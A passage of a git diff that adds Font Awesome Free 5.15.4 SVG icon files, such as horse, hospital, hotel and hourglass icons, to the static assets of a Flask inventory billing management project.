MIT License) --><path d="M280.37 148.26L96 300.11V464a16 16 0 0 0 16 16l112.06-.29a16 16 0 0 0 15.92-16V368a16 16 0 0 1 16-16h64a16 16 0 0 1 16 16v95.64a16 16 0 0 0 16 16.05L464 480a16 16 0 0 0 16-16V300L295.67 148.26a12.19 12.19 0 0 0-15.3 0zM571.6 251.47L488 182.56V44.05a12 12 0 0 0-12-12h-56a12 12 0 0 0-12 12v72.61L318.47 43a48 48 0 0 0-61 0L4.34 251.47a12 12 0 0 0-1.6 16.9l25.5 31A12 12 0 0 0 45.15 301l235.22-193.74a12.19 12.19 0 0 1 15.3 0L530.9 301a12 12 0 0 0 16.9-1.6l25.5-31a12 12 0 0 0-1.7-16.93z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/horse-head.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/horse-head.svg new file mode 100644 index 00000000..6e158669 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/horse-head.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M509.8 332.5l-69.9-164.3c-14.9-41.2-50.4-71-93-79.2 18-10.6 46.3-35.9 34.2-82.3-1.3-5-7.1-7.9-12-6.1L166.9 76.3C35.9 123.4 0 238.9 0 398.8V480c0 17.7 14.3 32 32 32h236.2c23.8 0 39.3-25 28.6-46.3L256 384v-.7c-45.6-3.5-84.6-30.7-104.3-69.6-1.6-3.1-.9-6.9 1.6-9.3l12.1-12.1c3.9-3.9 10.6-2.7 12.9 2.4 14.8 33.7 48.2 57.4 87.4 57.4 17.2 0 33-5.1 46.8-13.2l46 63.9c6 8.4 15.7 13.3 26 13.3h50.3c8.5 0 16.6-3.4 22.6-9.4l45.3-39.8c8.9-9.1 11.7-22.6 7.1-34.4zM328 224c-13.3 0-24-10.7-24-24s10.7-24 24-24 24 10.7 24 24-10.7 24-24 24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/horse.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/horse.svg new file mode 100644 index 00000000..9f5fedca --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/horse.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M575.92 76.6c-.01-8.13-3.02-15.87-8.58-21.8-3.78-4.03-8.58-9.12-13.69-14.5 11.06-6.84 19.5-17.49 22.18-30.66C576.85 4.68 572.96 0 567.9 0H447.92c-70.69 0-128 57.31-128 128H160c-28.84 0-54.4 12.98-72 33.11V160c-48.53 0-88 39.47-88 88v56c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-56c0-13.22 6.87-24.39 16.78-31.68-.21 2.58-.78 5.05-.78 7.68 0 27.64 11.84 52.36 30.54 69.88l-25.72 68.6a63.945 63.945 0 0 0-2.16 37.99l24.85 99.41A15.982 15.982 0 0 0 107.02 512h65.96c10.41 0 18.05-9.78 15.52-19.88l-26.31-105.26 23.84-63.59L320 345.6V496c0 8.84 7.16 16 16 16h64c8.84 0 16-7.16 16-16V318.22c19.74-20.19 32-47.75 32-78.22 0-.22-.07-.42-.08-.64V136.89l16 7.11 18.9 37.7c7.45 14.87 25.05 21.55 40.49 15.37l32.55-13.02a31.997 31.997 0 0 0 20.12-29.74l-.06-77.71zm-64 19.4c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hospital-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hospital-alt.svg new file mode 100644 index 00000000..d587e648 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hospital-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M544 96H416V32c0-17.7-14.3-32-32-32H192c-17.7 0-32 14.3-32 32v64H32c-17.7 0-32 14.3-32 32v368c0 8.8 7.2 16 16 16h544c8.8 0 16-7.2 16-16V128c0-17.7-14.3-32-32-32zM160 436c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-128c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm160 128c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-128c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm16-170c0 3.3-2.7 6-6 6h-26v26c0 3.3-2.7 6-6 6h-20c-3.3 0-6-2.7-6-6v-26h-26c-3.3 0-6-2.7-6-6v-20c0-3.3 2.7-6 6-6h26V86c0-3.3 2.7-6 6-6h20c3.3 0 6 2.7 6 6v26h26c3.3 0 6 2.7 6 6v20zm144 298c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-128c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hospital-symbol.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hospital-symbol.svg new file mode 100644 index 00000000..24ff2568 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hospital-symbol.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 0C114.6 0 0 114.6 0 256s114.6 256 256 256 256-114.6 256-256S397.4 0 256 0zm112 376c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-88h-96v88c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8V136c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v88h96v-88c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v240z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hospital-user.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hospital-user.svg new file mode 100644 index 00000000..2e6a19a0 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hospital-user.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M480 320a96 96 0 1 0-96-96 96 96 0 0 0 96 96zm48 32a22.88 22.88 0 0 0-7.06 1.09 124.76 124.76 0 0 1-81.89 0A22.82 22.82 0 0 0 432 352a112 112 0 0 0-112 112.62c.14 26.26 21.73 47.38 48 47.38h224c26.27 0 47.86-21.12 48-47.38A112 112 0 0 0 528 352zm-198.09 10.45A145.19 145.19 0 0 1 352 344.62V128a32 32 0 0 0-32-32h-32V32a32 32 0 0 0-32-32H96a32 32 0 0 0-32 32v64H32a32 32 0 0 0-32 32v368a16 16 0 0 0 16 16h288.31A78.62 78.62 0 0 1 288 464.79a143.06 143.06 0 0 1 41.91-102.34zM144 404a12 12 0 0 1-12 12H92a12 12 0 0 1-12-12v-40a12 12 0 0 1 12-12h40a12 12 0 0 1 12 12zm0-128a12 12 0 0 1-12 12H92a12 12 0 0 1-12-12v-40a12 12 0 0 1 12-12h40a12 12 0 0 1 12 12zm48-122a6 6 0 0 1-6 6h-20a6 6 0 0 1-6-6v-26h-26a6 6 0 0 1-6-6v-20a6 6 0 0 1 6-6h26V70a6 6 0 0 1 6-6h20a6 6 0 0 1 6 6v26h26a6 6 0 0 1 6 6v20a6 6 0 0 1-6 6h-26zm80 250a12 12 0 0 1-12 12h-40a12 12 0 0 1-12-12v-40a12 12 0 0 1 12-12h40a12 12 0 0 1 12 12zm0-128a12 12 0 0 1-12 12h-40a12 12 0 0 1-12-12v-40a12 12 0 0 1 12-12h40a12 12 0 0 1 12 12z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hospital.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hospital.svg new file mode 100644 index 00000000..0b79beee --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hospital.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M448 492v20H0v-20c0-6.627 5.373-12 12-12h20V120c0-13.255 10.745-24 24-24h88V24c0-13.255 10.745-24 24-24h112c13.255 0 24 10.745 24 24v72h88c13.255 0 24 10.745 24 24v360h20c6.627 0 12 5.373 12 12zM308 192h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12zm-168 64h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12zm104 128h-40c-6.627 0-12 5.373-12 12v84h64v-84c0-6.627-5.373-12-12-12zm64-96h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12zm-116 12c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-40zM182 96h26v26a6 6 0 0 0 6 6h20a6 6 0 0 0 6-6V96h26a6 6 0 0 0 6-6V70a6 6 0 0 0-6-6h-26V38a6 6 0 0 0-6-6h-20a6 6 0 0 0-6 6v26h-26a6 6 0 0 0-6 6v20a6 6 0 0 0 6 6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hot-tub.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hot-tub.svg new file mode 100644 index 00000000..ff11dd6d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hot-tub.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M414.21 177.65c1.02 8.21 7.75 14.35 15.75 14.35h16.12c9.51 0 17.08-8.57 16-18.35-4.34-39.11-22.4-74.53-50.13-97.16-17.37-14.17-28.82-36.75-31.98-62.15C378.96 6.14 372.22 0 364.23 0h-16.12c-9.51 0-17.09 8.57-16 18.35 4.34 39.11 22.4 74.53 50.13 97.16 17.36 14.17 28.82 36.75 31.97 62.14zm-108 0c1.02 8.21 7.75 14.35 15.75 14.35h16.12c9.51 0 17.08-8.57 16-18.35-4.34-39.11-22.4-74.53-50.13-97.16-17.37-14.17-28.82-36.75-31.98-62.15C270.96 6.14 264.22 0 256.23 0h-16.12c-9.51 0-17.09 8.57-16 18.35 4.34 39.11 22.4 74.53 50.13 97.16 17.36 14.17 28.82 36.75 31.97 62.14zM480 256H256l-110.93-83.2a63.99 63.99 0 0 0-38.4-12.8H64c-35.35 0-64 28.65-64 64v224c0 35.35 28.65 64 64 64h384c35.35 0 64-28.65 64-64V288c0-17.67-14.33-32-32-32zM128 440c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8V328c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v112zm96 0c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8V328c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v112zm96 0c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8V328c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v112zm96 0c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8V328c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v112zM64 128c35.35 0 64-28.65 64-64S99.35 0 64 0 0 28.65 0 64s28.65 64 64 64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hotdog.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hotdog.svg new file mode 100644 index 00000000..9f105e5d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hotdog.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M488.56 23.44a80 80 0 0 0-113.12 0l-352 352a80 80 0 1 0 113.12 113.12l352-352a80 80 0 0 0 0-113.12zm-49.93 95.19c-19.6 19.59-37.52 22.67-51.93 25.14C373.76 146 364.4 147.6 352 160s-14 21.76-16.23 34.71c-2.48 14.4-5.55 32.33-25.15 51.92s-37.52 22.67-51.92 25.15C245.75 274 236.4 275.6 224 288s-14 21.75-16.23 34.7c-2.47 14.4-5.54 32.33-25.14 51.92s-37.53 22.68-51.93 25.15C117.76 402 108.4 403.6 96 416a16 16 0 0 1-22.63-22.63c19.6-19.59 37.52-22.67 51.92-25.14 13-2.22 22.3-3.82 34.71-16.23s14-21.75 16.22-34.7c2.48-14.4 5.55-32.33 25.15-51.92s37.52-22.67 51.92-25.14c13-2.22 22.3-3.83 34.7-16.23s14-21.76 16.24-34.71c2.47-14.4 5.54-32.33 25.14-51.92s37.52-22.68 51.92-25.15C394.24 110 403.59 108.41 416 96a16 16 0 0 1 22.63 22.63zM31.44 322.18L322.18 31.44l-11.54-11.55c-25-25-63.85-26.66-86.79-3.72L16.17 223.85c-22.94 22.94-21.27 61.79 3.72 86.78zm449.12-132.36L189.82 480.56l11.54 11.55c25 25 63.85 26.66 86.79 3.72l207.68-207.68c22.94-22.94 21.27-61.79-3.72-86.79z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hotel.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hotel.svg new file mode 100644 index 00000000..cf2fa597 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hotel.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M560 64c8.84 0 16-7.16 16-16V16c0-8.84-7.16-16-16-16H16C7.16 0 0 7.16 0 16v32c0 8.84 7.16 16 16 16h15.98v384H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h240v-80c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v80h240c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16h-16V64h16zm-304 44.8c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4zm0 96c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4zm-128-96c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4zM179.2 256h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4c0 6.4-6.4 12.8-12.8 12.8zM192 384c0-53.02 42.98-96 96-96s96 42.98 96 96H192zm256-140.8c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4zm0-96c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hourglass-end.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hourglass-end.svg new file mode 100644 index 00000000..9b1da2f2 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hourglass-end.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M360 64c13.255 0 24-10.745 24-24V24c0-13.255-10.745-24-24-24H24C10.745 0 0 10.745 0 24v16c0 13.255 10.745 24 24 24 0 90.965 51.016 167.734 120.842 192C75.016 280.266 24 357.035 24 448c-13.255 0-24 10.745-24 24v16c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24 0-90.965-51.016-167.734-120.842-192C308.984 231.734 360 154.965 360 64zM192 208c-57.787 0-104-66.518-104-144h208c0 77.945-46.51 144-104 144z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hourglass-half.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hourglass-half.svg new file mode 100644 index 00000000..d4170a43 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hourglass-half.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M360 0H24C10.745 0 0 10.745 0 24v16c0 13.255 10.745 24 24 24 0 90.965 51.016 167.734 120.842 192C75.016 280.266 24 357.035 24 448c-13.255 0-24 10.745-24 24v16c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24 0-90.965-51.016-167.734-120.842-192C308.984 231.734 360 154.965 360 64c13.255 0 24-10.745 24-24V24c0-13.255-10.745-24-24-24zm-75.078 384H99.08c17.059-46.797 52.096-80 92.92-80 40.821 0 75.862 33.196 92.922 80zm.019-256H99.078C91.988 108.548 88 86.748 88 64h208c0 22.805-3.987 44.587-11.059 64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hourglass-start.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hourglass-start.svg new file mode 100644 index 00000000..06daa6cd --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hourglass-start.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M360 0H24C10.745 0 0 10.745 0 24v16c0 13.255 10.745 24 24 24 0 90.965 51.016 167.734 120.842 192C75.016 280.266 24 357.035 24 448c-13.255 0-24 10.745-24 24v16c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24 0-90.965-51.016-167.734-120.842-192C308.984 231.734 360 154.965 360 64c13.255 0 24-10.745 24-24V24c0-13.255-10.745-24-24-24zm-64 448H88c0-77.458 46.204-144 104-144 57.786 0 104 66.517 104 144z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hourglass.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hourglass.svg new file mode 100644 index 00000000..ae867c1f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hourglass.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M360 64c13.255 0 24-10.745 24-24V24c0-13.255-10.745-24-24-24H24C10.745 0 0 10.745 0 24v16c0 13.255 10.745 24 24 24 0 90.965 51.016 167.734 120.842 192C75.016 280.266 24 357.035 24 448c-13.255 0-24 10.745-24 24v16c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24 0-90.965-51.016-167.734-120.842-192C308.984 231.734 360 154.965 360 64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/house-damage.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/house-damage.svg new file mode 100644 index 00000000..2b7ab2af --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/house-damage.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M288 114.96L69.47 307.71c-1.62 1.46-3.69 2.14-5.47 3.35V496c0 8.84 7.16 16 16 16h149.23L192 439.19l104.11-64-60.16-119.22L384 392.75l-104.11 64L319.81 512H496c8.84 0 16-7.16 16-16V311.1c-1.7-1.16-3.72-1.82-5.26-3.2L288 114.96zm282.69 121.32L512 184.45V48c0-8.84-7.16-16-16-16h-64c-8.84 0-16 7.16-16 16v51.69L314.75 10.31C307.12 3.45 297.56.01 288 0s-19.1 3.41-26.7 10.27L5.31 236.28c-6.57 5.91-7.12 16.02-1.21 22.6l21.4 23.82c5.9 6.57 16.02 7.12 22.6 1.21L277.42 81.63c6.05-5.33 15.12-5.33 21.17 0L527.91 283.9c6.57 5.9 16.69 5.36 22.6-1.21l21.4-23.82c5.9-6.57 5.36-16.69-1.22-22.59z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/house-user.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/house-user.svg new file mode 100644 index 00000000..0c90a8c8 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/house-user.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M570.69,236.27,512,184.44V48a16,16,0,0,0-16-16H432a16,16,0,0,0-16,16V99.67L314.78,10.3C308.5,4.61,296.53,0,288,0s-20.46,4.61-26.74,10.3l-256,226A18.27,18.27,0,0,0,0,248.2a18.64,18.64,0,0,0,4.09,10.71L25.5,282.7a21.14,21.14,0,0,0,12,5.3,21.67,21.67,0,0,0,10.69-4.11l15.9-14V480a32,32,0,0,0,32,32H480a32,32,0,0,0,32-32V269.88l15.91,14A21.94,21.94,0,0,0,538.63,288a20.89,20.89,0,0,0,11.87-5.31l21.41-23.81A21.64,21.64,0,0,0,576,248.19,21,21,0,0,0,570.69,236.27ZM288,176a64,64,0,1,1-64,64A64,64,0,0,1,288,176ZM400,448H176a16,16,0,0,1-16-16,96,96,0,0,1,96-96h64a96,96,0,0,1,96,96A16,16,0,0,1,400,448Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hryvnia.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hryvnia.svg new file mode 100644 index 00000000..18f18765 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hryvnia.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M368 240c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16h-41.86c13.41-28.63 13.74-63.33-4.13-94.05C303.34 49.84 267.1 32 229.96 32h-78.82c-24.32 0-47.86 8.53-66.54 24.09L72.83 65.9c-10.18 8.49-11.56 23.62-3.07 33.8l20.49 24.59c8.49 10.19 23.62 11.56 33.81 3.07l11.73-9.78c4.32-3.6 9.77-5.57 15.39-5.57h83.62c11.69 0 21.2 9.52 21.2 21.2 0 5.91-2.48 11.58-6.81 15.58L219.7 176H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h134.37l-34.67 32H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h41.86c-13.41 28.63-13.74 63.33 4.13 94.05C80.66 462.15 116.9 480 154.04 480h78.82c24.32 0 47.86-8.53 66.54-24.09l11.77-9.81c10.18-8.49 11.56-23.62 3.07-33.8l-20.49-24.59c-8.49-10.19-23.62-11.56-33.81-3.07l-11.75 9.8a23.992 23.992 0 0 1-15.36 5.56H149.2c-11.69 0-21.2-9.52-21.2-21.2 0-5.91 2.48-11.58 6.81-15.58L164.3 336H368c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16H233.63l34.67-32H368z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/i-cursor.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/i-cursor.svg new file mode 100644 index 00000000..1127122b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/i-cursor.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 256 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 52.048V12.065C256 5.496 250.726.148 244.158.066 211.621-.344 166.469.011 128 37.959 90.266.736 46.979-.114 11.913.114 5.318.157 0 5.519 0 12.114v39.645c0 6.687 5.458 12.078 12.145 11.998C38.111 63.447 96 67.243 96 112.182V224H60c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h36v112c0 44.932-56.075 48.031-83.95 47.959C5.404 447.942 0 453.306 0 459.952v39.983c0 6.569 5.274 11.917 11.842 11.999 32.537.409 77.689.054 116.158-37.894 37.734 37.223 81.021 38.073 116.087 37.845 6.595-.043 11.913-5.405 11.913-12V460.24c0-6.687-5.458-12.078-12.145-11.998C217.889 448.553 160 444.939 160 400V288h36c6.627 0 12-5.373 